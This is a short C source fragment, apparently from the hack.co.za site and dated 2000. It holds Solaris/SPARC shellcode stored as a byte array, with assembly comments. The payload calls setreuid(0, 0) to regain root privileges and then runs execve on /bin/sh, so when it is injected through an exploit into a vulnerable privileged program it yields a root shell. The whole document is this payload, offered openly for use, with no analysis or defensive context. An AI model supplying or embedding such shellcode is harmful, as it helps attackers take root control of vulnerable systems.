/*
 *  Solaris/SPARC
 *
 *  setreuid(0, 0); (necessary, /bin/sh drops privs), standard execve().
 */

char c0de[] = /* anathema <anathema@hack.co.za> */
  /* setreuid() */
"\x82\x10\x20\xca"                           /* mov 0xca, %g1              */
"\x92\x1a\x40\x09"                           /* xor %o1, %o1, %o1          */
"\x90\x0a\x40\x09"                           /* and %o1, %o1, %o0          */
"\x91\xd0\x20\x08"                           /* ta 8                       */

  /* execve() */
"\x2d\x0b\xd8\x9a"                           /* sethi $0xbd89a, %l6        */
"\xac\x15\xa1\x6e"                           /* or %l6, 0x16e, %l6         */
"\x2f\x0b\xdc\xda"                           /* sethi $0xbdcda, %l7        */
"\x90\x0b\x80\x0e"                           /* and %sp, %sp, %o0          */
"\x92\x03\xa0\x08"                           /* add %sp, 8, %o1            */
"\x94\x1a\x80\x0a"                           /* xor %o2, %o2, %o2          */
"\x9c\x03\xa0\x10"                           /* add %sp, 0x10, %sp         */
"\xec\x3b\xbf\xf0"                           /* std %l6, [%sp - 0x10]      */
"\xdc\x23\xbf\xf8"                           /* st %sp, [%sp - 0x08]       */
"\xc0\x23\xbf\xfc"                           /* st %g0, [%sp - 0x04]       */
"\x82\x10\x20\x3b"                           /* mov $0x3b, %g1             */
"\x91\xd0\x20\x08";                          /* ta 8                       */

/* EOF */
/*                    www.hack.co.za           [11 August 2000]*/